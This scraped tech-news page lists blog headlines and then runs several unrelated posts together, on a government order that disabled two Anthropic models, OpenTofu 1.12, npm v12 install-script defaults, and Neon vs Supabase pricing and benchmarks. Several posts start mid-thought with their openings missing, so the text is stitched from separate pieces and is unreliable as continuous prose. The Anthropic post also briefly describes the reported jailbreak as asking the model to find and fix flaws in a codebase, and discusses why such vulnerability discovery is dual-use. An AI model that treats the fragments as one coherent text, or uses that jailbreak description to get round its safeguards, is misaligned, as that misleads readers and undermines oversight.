There’s a common theme to the conversations I’ve been having with AI teams lately: change. Constant, head-spinning change. Teams across industries are evaluating and re-evaluating model providers, age

📅 Jun 11, 2026 • 📰 MongoDB Blog

🔗 Read more

📄 ScyllaDB Customer Experience Spotlight: Faisal Saeed

Welcome to the second installment of a new blog series introducing some of the experts you might encounter when you work with ScyllaDB. (In the first, we met Tyler Denton, Solutions Architect). Today

📅 Jun 11, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 Connect Your Redis index to AI agents with RedisVL MCP

If you already use Redis for search, retrieval, or application memory, the RedisVL MCP is a practical next step: making that data available to agents without rebuilding your integration for every fram

📅 Jun 11, 2026 • 📰 Redis Blog

🔗 Read more

📄 Build Persistent, Scalable AI Agent Memory with TiDB

I gave a session at Microsoft Build 2026 on agent memory with TiDB. A few people asked for the code afterward, so here’s a complete write up of the session: The same pattern as the talk, with copy-pas

📅 Jun 10, 2026 • 📰 TiDB Blog

🔗 Read more

📄 Why I’m Returning to the Distributed SQL Summit

The Distributed SQL Summit showcases how you can use YugabyteDB to power GenAI applications, explores real-world use cases, and provides practical demonstrations of best practices to help you build ul

📅 Jun 10, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 Real-time fraud detection for financial transactions

When a customer taps "pay," a clock starts that your fraud system can't pause. The payment authorization resolves in a fixed window whether your model has scored the transaction or not. If it hasn't,

📅 Jun 10, 2026 • 📰 Redis Blog

🔗 Read more

📄 Context windows in AI: why every token is a budget decision

Some of today's most capable LLMs now support very large context windows. That doesn't mean you should fill them. Context windows have grown fast, but the underlying cost and quality tradeoffs haven't

📅 Jun 10, 2026 • 📰 Redis Blog

🔗 Read more

📄 Connecting to Redis Cloud with AWS PrivateLink vs. VPC peering

AWS PrivateLink resource endpoints are now generally available across all Redis Cloud Pro subscription types, including Redis Flex and Active-Active deployments. That means you can connect apps to Red

📅 Jun 10, 2026 • 📰 Redis Blog

🔗 Read more

📄 Pgpool-II 4.7.2, 4.6.7, 4.5.12, 4.4.17 and 4.3.20 released.

What is Pgpool-II? Pgpool-II is a tool to add useful features to PostgreSQL, including: connection pooling load balancing automatic failover and more. Minor releases Pgpool Global Development Group is

📅 Jun 9, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 PostgreSQL Anonymizer 3.1 : Introducing Local Differential Privacy

Eymoutiers, France, May 27th, 2026 Dalibo is pleased to announce PostgreSQL Anonymizer 3.1 introducing innovative data masking techniques to protect your data ! Enhanced Privacy Protection for Your Da

📅 Jun 9, 2026 • 📰 PostgreSQL News

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 Jun 15, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 Jun 15, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 Jun 15, 2026 • 📰 Linode Blog

🔗 Read more

📄 Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research

Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North Americ

📅 Jun 15, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Your AI-generated app runs on their cloud, and that’s the problem

The prompt-to-app loop has gotten genuinely good. Describe the thing, watch it appear, click deploy. Replit, Lovable, Base44 and others The post Your AI-generated app runs on their cloud, and that’s t

📅 Jun 15, 2026 • 📰 The New Stack

🔗 Read more

📄 Growing the Cloudflare AI team with talent from Ensemble AI

Cloudflare is deepening our investment in AI with the addition of team members from Ensemble AI, focusing on machine learning infrastructure and efficiency.

📅 Jun 15, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 The New AI Computing Stack: A Guide for Tech Leaders to Navigate Shifting Power Dynamics

Key Takeaways AI isn’t a feature you bolt onto your existing infrastructure, but something driving an entirely new computing architecture. According to the Forrester report, the traditional three-cate

📅 Jun 14, 2026 • 📰 SUSE Blog

🔗 Read more

📄 Amazon Lightsail is now available in three additional AWS Regions

Starting today, Amazon Lightsail is available in three additional AWS Regions: Asia Pacific (Hong Kong), South America (São Paulo), and Europe (Spain). This expansion brings the power and simplicity o

📅 Jun 12, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 Jun 12, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Amazon EC2 I7i instances now available in AWS Europe (Paris) Region

AWS is announcing the availability of high performance Storage optimized Amazon EC2 I7i instances in AWS Europe (Paris) region. Powered by 5th Gen Intel Xeon Processors with an all-core turbo frequenc

📅 Jun 12, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Amazon EC2 Capacity Blocks for ML is now available in AWS GovCloud (US) Regions

Amazon EC2 Capacity Blocks for ML is now available in AWS GovCloud (US-West) and AWS GovCloud (US-East), enabling government and regulated-industry customers to reserve GPU capacity for machine learni

📅 Jun 12, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Introducing the Open Knowledge Format

As foundation models continue to improve, the lack of relevant context often limits what they can do, especially as they are used to build agentic systems. While these models can help you write code,

📅 Jun 12, 2026 • 📰 Google Cloud Blog

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.125

Learn what's new in Visual Studio Code 1.125 (Insiders) Read the full article

📅 Jun 17, 2026 • 📰 VS Code Blog

🔗 Read more

📄 Cohere sold sovereign AI to enterprises, now it’s targeting developers with its first coding model

Canadian foundation model company Cohere has spent the past few years selling a specific idea to banks, governments, and healthcare The post Cohere sold sovereign AI to enterprises, now it’s targeting

📅 Jun 15, 2026 • 📰 The New Stack

🔗 Read more

📄 We’ve been measuring AI wrong; why economically valuable work is the new benchmark

As the AI industry gradually builds standardization guidelines and systems, such as those overseen by the Tokenonmics Foundation, the need The post We’ve been measuring AI wrong; why economically valu

📅 Jun 15, 2026 • 📰 The New Stack

🔗 Read more

📄 Ten Great DevOps Job Opportunities

DevOps.com is now providing a weekly DevOps jobs report through which opportunities for DevOps professionals will be highlighted as part of an effort to better serve our audience. Our goal in these ch

📅 Jun 15, 2026 • 📰 DevOps.com

🔗 Read more

📄 Code is a message to the future

Engineers communicate constantly. Slack messages, design docs, RFC threads, code review comments: the job is as much about sharing intent The post Code is a message to the future appeared first on The

📅 Jun 15, 2026 • 📰 The New Stack

🔗 Read more

📄 Moonshot AI’s Kimi K2.7-Code Targets Token Efficiency in Agentic Coding

Moonshot AI's Kimi K2.7-Code offers 30% lower token usage and a 21.8% coding benchmark gain — here's what DevOps teams need to know about the open-source release.

📅 Jun 15, 2026 • 📰 DevOps.com

🔗 Read more

📄 Protecting enterprise AI: How to manage API keys in Models-as-a-Service (MaaS)

Every team that moves an AI model from experimentation to production hits the same wall. The model works. The serving stack works. Then someone asks how the continuous integration (CI) pipeline is goi

📅 Jun 15, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 A decade of Ubuntu on IBM Z and IBM LinuxONE

This year we celebrate a decade of Ubuntu Server support on the s390x architecture: marking a long-standing collaboration between Canonical and IBM that began at LinuxCon 2015. The first release happe

📅 Jun 12, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 dotInsights | June 2026

Did you know? The var keyword isn’t a keyword! It’s one of several “contextual” keywords in C#, and it only has special meaning when used to declare a variable. Try defining a class called var and see

📅 Jun 12, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Inside JetPride: How JetBrains Employees Built an LGBTQIA+ Community

What makes a workplace feel welcoming? Sometimes it’s finding colleagues who share your interests. Sometimes it’s discovering people with similar experiences. Sometimes it’s knowing you can talk openl

📅 Jun 12, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 AI at the edge: simplifying infrastructure with Cisco and Canonical

Legacy infrastructure was not designed for the requirements of the AI era. While large-scale model training remains centralized in data centers, test-time inference is rapidly shifting to the edge to

📅 Jun 11, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 MPS 2026.1 Release Candidate Arrives

Before we finalize the 2026.1 release, we are presenting a release candidate build so you can preview the new features ahead of time. Download MPS 2026.1 Release Candidate now: DOWNLOAD MPS 2026.1 RC

📅 Jun 11, 2026 • 📰 JetBrains Blog

🔗 Read more

If you build on large language models, that sentence is the whole point of this post. Not the politics, not whose side you are on. The operational fact: a dependency that thousands of production systems had started wiring in over a long weekend went to zero, globally, with no notice and no migration window, because of an order its vendor could not refuse. No status page predicted it. No SLA covered it.

Let's get the facts straight first, then talk about what a sane team does with this.

What actually happened

The basics, drawn from Anthropic's own statement and reporting by CNBC, Bloomberg, Fortune, and The New Stack:

• The instrument was an export-control directive issued on national-security grounds. Per reporting, Commerce Secretary Howard Lutnick sent it to Anthropic CEO Dario Amodei, requiring a license for the export, re-export, or domestic transfer of the two models, and extending the restriction to any foreign national, including those on US soil and Anthropic's own foreign-national employees.
• The stated trigger was that the government had become aware of a method of jailbreaking Fable 5. Anthropic says the government provided only verbal evidence of what it characterizes as "a narrow, non-universal jailbreak."
• Because Anthropic cannot reliably identify which of its users are foreign nationals in real time, a targeted block was not practical. The only way to comply was a hard shutoff for everyone. As the company put it, "we must abruptly disable Fable 5 and Mythos 5 for all our customers to ensure compliance."
• Only those two models are affected. Every other Claude model stayed online. Anthropic said it is complying with the directive while working to restore access, and made clear it disagrees with the decision.

Anthropic's public objection is worth quoting fairly, because it frames the disagreement: the company argues a "narrow potential jailbreak" should not justify recalling a model "deployed to hundreds of millions of people," and notes the capability in question is, by its account, already available in other public models. We are not here to adjudicate that. The government has national-security information it has not made public; Anthropic has a commercial model it believes was pulled on thin, verbally-conveyed evidence. Both of those can be true at once.

The detail that should make every engineer look up

Here is the part that turns this from an AI-policy story into a DevOps story.

The capability the government reportedly found alarming, according to Anthropic's description of the jailbreak, "essentially consists of asking the model to read a specific codebase and fix any software flaws."

Read that again. The thing deemed a national-security risk is reading a codebase and fixing its flaws. That is not an exotic misuse. That is the core loop of every AI coding assistant, every "review this PR" bot, every automated dependency-patch tool a lot of us shipped this year. The reason a regulator can look at it and see a weapon is that "find and fix the flaws in this code" and "find and weaponize the flaws in this code" are the same sentence with a different verb at the end. Automated vulnerability discovery is dual-use by nature, and a model good enough to fix your bugs at scale is good enough to find everyone else's.

You do not have to agree with the order to notice what it signals: the most economically useful thing AI does for engineering, reasoning about code, is now squarely inside the blast radius of export control. Whatever happens with Fable 5 specifically, that regulatory attention is not going back in the box. If your roadmap assumes frictionless, permanent access to frontier code-reasoning models, that assumption now has a footnote.

Why this is a continuity problem, not a news item

Outages we plan for. A region goes down, a provider has a bad day, a rate limit bites. We have playbooks: retries, fallbacks, multi-region, circuit breakers. What happened here is a different shape of failure, and it breaks the assumptions those playbooks rest on:

• It was instantaneous and total. Not degraded, not regional. Zero, worldwide, the same evening.
• It was indefinite. "Working to restore access" is not a time you can put in a runbook. The resolution depends on a government and a license process, not an incident bridge.
• No contract protects you. Your enterprise agreement's uptime credits do not apply when a model is pulled by legal order. Force majeure cuts the other way.
• It targeted a specific model, not the platform. The provider stayed up. Auth worked. Billing worked. The one thing that vanished was the exact model id you pinned in your config because it passed your evals.

That last point is the trap. Teams pin a model version precisely so behavior stays stable. Pinning gives you reproducibility right up until the pinned artifact is the thing that disappears, at which point your "stable" choice is your single point of failure and the unpinned fallback you never built is the thing that would have saved you.

What a resilient setup looks like

None of this is an argument against building on frontier models. They are too useful, and the same risk in milder forms (a deprecation, a price change, a capacity crunch, a region restriction) has always existed. It is an argument for treating the model the way you already treat a database, a payment processor, or any other vendor your product cannot run without: as a dependency with a continuity plan. Concretely:

1. Put an abstraction between your code and the provider. A thin internal interface, or a gateway/router (LiteLLM, your own proxy, a managed router), so that "which model serves this request" is one config change, not a refactor scattered across forty call sites. If switching providers is a deploy, not a project, you have already won most of this fight.
2. Qualify a fallback from a different provider, not just a different model. A second Anthropic model would not have helped a Fable 5 user here, but it would not help against a provider-wide event either. Keep at least one model from a separate vendor passing your evals, so "fail over" is a decision you have already rehearsed.
3. Keep an eval harness you can run on demand. The reason teams fear switching models is they do not know what will break. A saved suite of your real prompts with expected-output checks turns "we cannot risk changing models" into "the candidate scores 96% of baseline, ship it." This is the single highest-impact thing on the list, and you can build it this week. (We are fans of measuring before believing; it is the same instinct behind our serverless Postgres benchmarks.)
4. Design graceful degradation, not just failover. Decide in advance what each AI feature does when no model is available. Queue and retry later? Fall back to a smaller local model? Disable the feature with an honest message? A feature that 500s because its model vanished is a worse outage than one that degrades on purpose.
5. Know your data and prompt portability. If your prompts, few-shot examples, and tool definitions are tuned to one model's quirks, your "fallback" is theoretical. Keep prompts as portable as you reasonably can, and note where you have provider-specific tuning so a switch is scoped, not surprising.
6. Watch the policy surface, not just the status page. Export-control and safety-driven actions do not show up on status.provider.com. For anything load-bearing, someone on the team should be tracking the regulatory and policy noise around your providers the way you track their incident history.

The honest caveats

A few things this post is not saying.

It is not saying Anthropic handled this badly. Complying with a lawful government directive within hours while publicly stating disagreement is roughly what you would want a vendor to do, and the transparency of the statement is more than many companies offer. It is also not saying the government is wrong; national-security decisions are made on information the rest of us cannot see, and "we do not get to read the evidence" is the normal condition of these cases, not a scandal.

And it is not saying you should rip out your AI provider. Concentration risk is a spectrum, not a switch. The right amount of redundancy for a hobby project and for a system that pages you at 3am are very different, and over-engineering a multi-provider mesh for a feature nobody depends on is its own kind of waste.

What it is saying: the failure mode of "the specific model our product is built on becomes legally unavailable, everywhere, tonight" moved from hypothetical to documented on June 12. If you would struggle to answer "what do we do if our primary model is gone tomorrow morning," that is the work this week, while it is a thought experiment with a real example attached rather than your own incident channel lighting up.

Models are infrastructure now. Infrastructure gets a continuity plan.

OpenTofu 1.12 (released May 14) is the first release that treats this workflow as something the language should handle instead of the operator. It is a short changelog with unusually high practical density, so this is a feature-by-feature read with the failure modes included.

destroy = false: forget instead of destroy

The new lifecycle meta-argument:

resource "aws_db_instance" "main" {
  # ...

  lifecycle {
    destroy = false
  }
}

A resource carrying destroy = false is never destroyed by OpenTofu. In every situation that would normally delete the remote object, OpenTofu instead forgets it: the entry is removed from state, and the real infrastructure stays untouched. That applies in three places:

• Removing the resource from configuration. Delete the block, run plan, and the object leaves state without leaving the cloud. This is the state rm replacement, except it goes through plan and review like everything else.
• Replacement. If a change forces replacement, the old instance is forgotten rather than destroyed, and a new one is created per the current config. Useful when the old object must survive for a cutover; surprising if you expected replacement to clean up after itself.
• tofu destroy. The marked resource is forgotten, everything else is destroyed, and the command exits with a non-zero status code to signal that some resources were not fully removed.

Three behaviors here deserve more attention than the release notes give them.

First, the setting is persisted in state. Once applied, OpenTofu will not plan that resource's destruction until you explicitly flip it back. The protection follows the resource, not the current copy of the config, which is the safe choice and also the one that will confuse whoever investigates "why won't this delete" eight months from now.

Second, it takes precedence over prevent_destroy. If both are set, destroy = false wins: instead of erroring on a destroy attempt, the resource is silently forgotten. The two arguments express different intents (never let this die vs. this is not mine to kill), and you should pick one deliberately rather than stacking them.

Third, the non-zero exit from tofu destroy will break pipelines that treat destroy as pass/fail. Ephemeral environment teardown jobs are the obvious case: the destroy succeeded by design, the marked resource was meant to survive, and your CI goes red anyway. If you adopt destroy = false in anything an automation destroys, that job needs to distinguish "failed" from "completed with forgotten resources" from day one.

And the footgun the docs do warn about, repeated here because someone will hit it: once forgotten, the object is invisible to OpenTofu. Add the same resource block back later and plan will try to create it, which fails (or worse, half-succeeds) because the object still exists remotely. The forget-then-re-add path goes through tofu import, same as any other unmanaged object.

One limitation: destroy only accepts a constant boolean. Which is interesting, because its sibling just lost that restriction.

prevent_destroy is dynamic now

Since the beginning, prevent_destroy demanded a hardcoded literal. The classic consequence: shared modules either shipped two variants (one strict, one not) or left protection off and hoped. As of 1.12:

lifecycle {
  prevent_destroy = var.environment == "production"
}

The argument can reference symbols in the same module, so a single database module can refuse destruction in production and allow it in ephemeral environments, decided by the caller. Terraform still requires the static literal, so this is also one of the clearest divergence points between the two projects to date: not a new block, but a restriction removed from a fifteen-year-old one.

Worth knowing before you parameterize everything: protection that depends on a variable is protection that can be turned off by changing an input, possibly far from the module, possibly by automation. For the resources where prevent_destroy was doing real work as a last line of defense, a hardcoded true is still the stronger statement. The dynamic form is for the wide middle ground where the old static rule forced you to choose between duplicate modules and no guardrail at all.

The smaller changes that touch your CI anyway

Provider checksums complete themselves. tofu init now writes a full set of checksums for all platforms into the dependency lock file, using both zh: and h1: hashes, without the separate tofu providers lock step that teams bolted into their workflows (and that anyone with a mixed macOS/Linux team learned the hard way). Two operational notes: the first init after upgrading rewrites your lock file with the added h1: hashes, so expect a one-time noisy diff and merge it deliberately; and if a renovate-style bot regenerates lock files, its next PR will carry that churn too.

-json-into=FILENAME gives you machine-readable output and human-readable output from the same run: JSON streams to the file (named pipes work, so /dev/fd/N tricks are on the table), while the terminal keeps the normal rendering. The previous choice was one or the other, which is why so many pipelines run plan twice or pipe JSON through a prettifier. One run, both audiences.

Deprecations: WinRM support for provisioners is deprecated with removal planned for 1.13 (the few teams still bootstrapping Windows hosts through provisioners should start the SSH or image-baking migration now), and official 32-bit builds (386, arm) begin phasing out with warnings expected in 1.13.

Where this leaves the Terraform comparison

We keep a longer OpenTofu vs Terraform migration guide that covers licensing and ecosystem, so just the delta here: 1.11 brought ephemeral values and the enabled meta-argument, and 1.12 adds config-driven forgetting, dynamic destroy protection, and lock files that maintain themselves. The pattern across the last two releases is consistent: OpenTofu is spending its development budget on the unglamorous state-and-lifecycle operations that fill real teams' runbooks, and the fork stopped being a drop-in clone a while ago.

If you adopt one thing from 1.12 this quarter, make it destroy = false on the resources your team currently protects with tribal knowledge and a pinned Slack message. State surgery through code review beats state surgery through terminal history every time someone new joins the on-call rotation.

If you have followed the npm worm coverage on this site over the past months (TanStack, PyTorch Lightning's mini Shai-Hulud, axios, the AntV wave), you already know why. Every one of those campaigns used the same beachhead: a script that runs automatically, with your credentials, the moment you install a package. GitHub calls lifecycle scripts the single largest code-execution surface in the npm ecosystem, and after the June 1 Red Hat compromise shipped credential stealers with valid SLSA provenance, the argument for keeping that surface open by default ran out.

So instead of writing about the policy, we did the thing you should do this week: upgraded npm and ran the new audit tooling against our own production repositories. Here is what v12 will actually do to a real Next.js application and a couple of TypeScript tooling repos, including the part where much less breaks than the audit output suggests.

What changes, exactly

Three defaults flip in v12:

1. Dependency lifecycle scripts stop running. preinstall, install, and postinstall from dependencies are skipped unless the package is on your project's allowlist. This includes implicit builds: a package with a binding.gyp and no declared install script still gets blocked, because npm runs an implicit node-gyp rebuild for it. prepare scripts from git, file, and link dependencies are covered too.
2. Git dependencies need --allow-git. Direct or transitive git dependencies stop resolving without the flag. This closes an ugly hole: a git dependency's .npmrc could override which git executable npm invokes, which meant code execution even under --ignore-scripts.
3. Remote URL dependencies need --allow-remote. Tarballs pulled from HTTPS URLs stop resolving without explicit opt-in. file: and directory dependencies keep their current behavior.

Your own project's scripts still run. If your root package.json has a postinstall that runs patch-package, or a prepare that installs husky hooks, nothing changes for you. The allowlist is about code arriving from the registry, and it lives in your package.json, which means script approvals show up in pull requests and get reviewed like any other change.

All of this is already available as warnings in npm 11.16.0 and later, which is what makes the audit possible before July.

The audit: 65 warnings, 4 that matter

We ran npm approve-scripts --allow-scripts-pending (npm 11.17.0) against this site, a production Next.js application with a fairly typical dependency tree. The output flags 65 packages with lifecycle scripts not yet covered by an allowlist. Out of context, that number reads like a migration project.

It is not, and the breakdown shows why:

Sixty-one of the sixty-five are prepare scripts: husky hook installation, npm run build, the usual library housekeeping. prepare only executes when you install a package from git, a local file, or a link, never from a normal registry install. Unless you are pinning one of those packages to a git ref, these entries are inert. The audit lists them because it cannot know you will not switch a dependency to a git URL tomorrow, but for triage purposes you can put them at the bottom of the pile.

That leaves four entries that run today on every clean install of this repo: sharp (image processing, used by Next.js image optimization), esbuild twice at different versions, and unrs-resolver. All native code. These are the ones that could break a build in July.

Two smaller repos made the point even more cleanly: our open source benchmark harness and its dashboard each flagged exactly one package. Both times it was esbuild.

The plot twist: we denied them and nothing broke

Here is the part worth the price of admission. We installed sharp and esbuild into a clean project with scripts disabled, then exercised both:

• sharp created and encoded an image without its install script ever running.
• esbuild transformed TypeScript without its postinstall.

No failures, no missing binaries. The reason: both packages migrated their native binary distribution to optionalDependencies (@img/sharp-linux-arm64, @esbuild/linux-arm64, and their platform siblings), which are plain packages that install without any script execution. The lifecycle scripts that the audit flags are validation and fallback paths for platforms without a prebuilt binary, not the primary delivery mechanism.

This is the quiet story behind npm v12: the ecosystem's most depended-on native packages already left install scripts behind, in large part because the worm era made every install-time hook a liability. The default flip in July is less a demolition and more the locking of a door most serious packages already stopped using.

What will actually break

That does not make the change free. The breakage concentrates in specific places, and they are worth checking deliberately:

• Long-tail native modules built with node-gyp. Anything that compiles C++ on install and has not moved to prebuilt binaries stops working until allowlisted, including packages with only an implicit binding.gyp build. Older database drivers, hardware bindings, and that one image library from 2019 live here.
• Downloaders. Packages whose postinstall fetches something big: Puppeteer and Playwright pulling browsers, Cypress pulling its binary. Denied scripts mean the tool installs but fails at runtime with a missing executable, which is a worse failure mode than failing at install.
• Git and URL dependencies. Any "some-fork": "github:org/repo#branch" in your tree needs --allow-git in every CI job and Dockerfile that installs it. Private tarball URLs need --allow-remote. These fail loudly at resolve time, so you will notice, but you will notice in the middle of an incident if your first v12 install happens during one.
• CI images that float npm versions. If your Dockerfile does npm install -g npm@latest or your CI uses a node:latest style tag, v12 arrives on its schedule, not yours.

The checklist

The whole audit took us under fifteen minutes for three repos. Doing it now means July is a non-event:

1. Upgrade to npm 11.16.0 or later somewhere representative (a dev machine is fine, CI is better).
2. Run npm approve-scripts --allow-scripts-pending in each repo. Ignore the prepare entries from registry packages on the first pass.
3. For each real install/postinstall entry, decide: approve it with npm approve-scripts <pkg>, or test whether the package works without it (as with sharp and esbuild above, the answer is increasingly yes) and deny it with npm deny-scripts <pkg>.
4. Commit the resulting allowlist in package.json. From now on, a new dependency wanting script execution shows up in code review instead of executing silently.
5. Grep your Dockerfiles and CI for git and URL dependencies, and add the flags where genuinely needed.
6. Pin your npm major version in CI images, and schedule the v12 upgrade like any other dependency upgrade instead of receiving it as a surprise.

One honest caveat: July 2026 is GitHub's estimate, and details of partially shipped behavior have moved before (the git restriction landed in 11.10, remote URLs in 11.15, the full allowlist tooling in 11.16). The direction is not in question, though. Install-time code execution from the registry is ending as a default, three years of worms made the case, and the audit that tells you whether you care takes less time than reading this post did.

This is part three of our Neon vs Supabase series (free tiers, operational benchmarks). Instead of benchmarking operations, we built a cost model: one application, five growth stages, priced on Neon Launch and Supabase Pro using list prices we verified against both pricing pages this week. The model is open source in the same repo as the benchmarks (npm run costs), every price carries its source, and you can change the workload assumptions and rerun it for your own product.

TLDR

• There are three cost regimes, not one winner: Neon wins early (scale-to-zero means a quiet app costs almost nothing), Supabase wins the middle (a flat fee beats usage billing once the database runs hot but small), and Neon wins at scale by a wide margin.
• The two crossover points sit roughly where your app stops sleeping (Supabase becomes competitive) and where your user count passes Supabase's included 100k monthly active users (Supabase stops being competitive, fast).
• The scale-stage surprise: on Supabase, the database is not the bill. Metered auth MAU is. Our scale stage prices at $1,213/month on Supabase Pro, of which $975 is MAU overage; the same stage on Neon Launch is $278, because Neon Auth carries no per-MAU meter up to 1M users.
• This comparison assumes you use each platform's bundled auth. If you bring your own auth provider, the picture changes substantially in Supabase's favor, and we show you where.

The application and its growth

The model prices one hypothetical B2B SaaS through five stages, with the workload dimensions both platforms bill on: average compute demand, how much of the month the database is actually active, database size, monthly active users on auth, preview branches created by CI, and egress.

Disagree with the assumptions? Good: they are parameters, not conclusions. Clone the repo, edit the scenario, rerun. The shape of the findings survives reasonable changes to the numbers; your exact crossover points will differ.

The curves

Regime one, the quiet months. At launch, Neon costs $5 to Supabase's $26. Nothing clever: Supabase Pro is a $25 flat fee plus always-on compute, while Neon bills compute only when the database is awake, and an early-stage app sleeps most of the month. If you are pre-revenue, this gap is your hosting budget.

Regime two, the flat-fee window. By product-market fit the picture inverts: Supabase $33, Neon $49. The database now runs three-quarters of the month, so scale-to-zero stops paying, while Supabase's fixed fee covers a Small instance running around the clock with most usage inside included quotas. This is the regime Supabase's pricing is designed for, and in it, the design works. The growth stage is nearly a tie ($128 vs $120), which is itself useful information: between roughly 30k and 120k users, price should not be the deciding factor at all; pick on the operational differences instead.

Regime three, the meters. At scale the curves split violently: $278 on Neon, $1,213 on Supabase. To see why, look at where the Supabase dollars go:

The MAU surprise

That chart is the article. At 400k monthly active users, the compute (a Medium instance, $50 after credits) and even 200 GB of storage ($24) are rounding errors next to $975 of MAU overage: Supabase Auth includes 100k monthly active users on Pro and bills $0.00325 for each one beyond. Auth, the feature that felt free when you started, becomes 80% of the bill precisely when your product succeeds.

Neon's side has no equivalent meter: Neon Auth (in beta) carries no per-MAU billing up to one million users on the paid plans, so the scale stage is honest compute and storage: $155 + $70 + $53 of always-active database, branches included.

Now the fairness flip, because this cuts both ways: the comparison above assumes you use the bundled auth. Plenty of teams run Clerk, Auth0, WorkOS, or their own auth regardless of database, and at 400k MAU those run hundreds to thousands of dollars a month on their own. If you bring your own auth, delete the MAU line from the Supabase column, and the scale stage becomes roughly $238 vs $278: a near-tie that Supabase arguably wins. The platform decision and the auth decision are one decision wearing two coats; make them together.

What the model deliberately leaves out

• The PITR add-on ($100/month on Supabase per 7-day window): add it if sub-minute recovery is a requirement; part two explains what you get on each platform without it.
• Replacement costs for the rest of the bundle: if you would otherwise pay for storage, realtime, or edge functions separately, Supabase's flat fee is buying more than a database. Neon announced its own storage and functions in June 2026, but they have not shipped.
• Committed-use and enterprise discounts, support tiers, and the Team/Scale tiers above these plans: that comparison is coming later in this series.
• Egress shape: we model it linearly; a media-heavy product will not be linear, and Supabase's $0.09/GB beyond 250 GB deserves your own modeling if that is you.

How to actually use this

1. Find your regime. Mostly-idle side project or pre-launch: Neon by default. Steady small production app, happy inside included quotas: Supabase's flat fee is genuinely good value. Past 100k MAU on bundled auth: do the math before the bill does it for you.
2. Watch the crossovers, not the platforms. The first crossover arrives when your database stops sleeping; the second when your user count crosses the included-MAU line. Both are visible in your own metrics months before they hit the invoice.
3. Decide auth and database together. The single biggest line in this entire analysis is an auth meter on a database platform.

Every price in the model links to its source and was verified against both pricing pages in June 2026 (prices change; the repo holds the dated record). Like the benchmarks, the model is open source and contributions are welcome: if a price moved or an assumption looks wrong, open an issue or PR and we will rerun the curves. The live dashboard carries the measured performance data this series is built on, our full Neon vs Supabase comparison lays out the architecture and feature differences side by side, and part four will close the series with something nobody has benchmarked properly yet: what it costs in AI agent tokens to build the same application on each platform.

So we measured them. This is part two of our Neon vs Supabase series (part one covered the free tiers), now on the plans you would actually run production on: Supabase Pro against the equivalent Neon tier. Same methodology as before: both platforms in AWS eu-central-1, timed from a client VM in the same metro, every operation run repeatedly across two separate benchmark sessions on different days, raw samples committed, and everything reproducible from the open source harness with a live dashboard tracking every session since.

TLDR

• Compute resize is the starkest difference we have ever measured between two managed databases. Changing compute size on Supabase took 39 seconds of API time and caused 39 seconds of real SQL downtime per change, measured by probing the database every 250ms. The same operation on Neon: 2.4 seconds to apply, zero failed probes.
• You also cannot resize Supabase twice in a row: the platform throttles consecutive compute changes for minutes ("We are still processing addon changes, please try again in 3 minutes").
• Read replicas are an architecture lesson in two numbers: 8 seconds on Neon (a new compute attaches to existing shared storage) vs 181 seconds on Supabase (a full database clone), with Supabase also requiring Small compute or larger on the primary.
• Branching held its free-tier shape: a Neon branch arrives carrying the parent's 100k rows in 1.7s; a Supabase branch arrives schema-only in 6.2-6.7s. Supabase's API now has a with_data flag, but every attempt returned 406 "Failed to fetch latest physical backup" on a fresh project: data branches have infrastructure prerequisites.
• Under connection stampedes the platforms are twins: 50, 100, and 200 simultaneous cold connections produced near-identical wave times and zero refusals on both.

How we measured

Every number below is the median of repeated runs (10 per operation per session for management operations, 5 waves per concurrency level), collected in two independent sessions on consecutive days. The two sessions agreed within single-digit percentages on every operation, which is the property that makes medians worth publishing. The client sat 1-2ms from both platforms. Resources were created fresh and torn down after every run.

One honest note on plans: the Supabase side ran on Pro ($25/month). The Neon side ran on a Scale-plan account, but every operation measured here (branching, resize, replicas, restore) behaves identically on Launch; plan tier changes quotas and retention windows, not the mechanics we timed.

Compute resize: the 3am operation

You sized the database for launch traffic. Launch went well. Now you need the next compute size, and the question that matters is not "can the platform do it" but "what happens to my users while it does".

We resized each platform's compute up and back down, ten cycles per session, while a probe ran select 1 against the database every 250 milliseconds. Two numbers per resize: how long until the management API reported the change applied, and how long SQL actually failed.

Neon applies an autoscaling-limit change in 2.4 seconds, and across forty resize cycles in two sessions, the probe never failed once. The compute reconfigures behind the same endpoint without dropping the connection path. Supabase restarts the database to change compute: 39 seconds of apply time, and effectively all of it is real downtime; their docs say resizes are "usually applied with less than 2 minutes of downtime", and our measurements land comfortably inside that promise while still being 39 seconds of failed queries per change.

The second finding is subtler and bit us during the benchmark itself: Supabase refuses back-to-back compute changes. Issue two resizes in quick succession and the API returns "We are still processing addon changes, please try again in 3 minutes", and the project reports an unhealthy state between changes. For a production runbook this means a Supabase resize is a planned, serialized event with a maintenance-window mindset. On Neon it is closer to a config tweak.

If your workload's compute needs change often (and on serverless-adjacent platforms, that is the promise), this section is the comparison.

Branching: same story, sharper edges

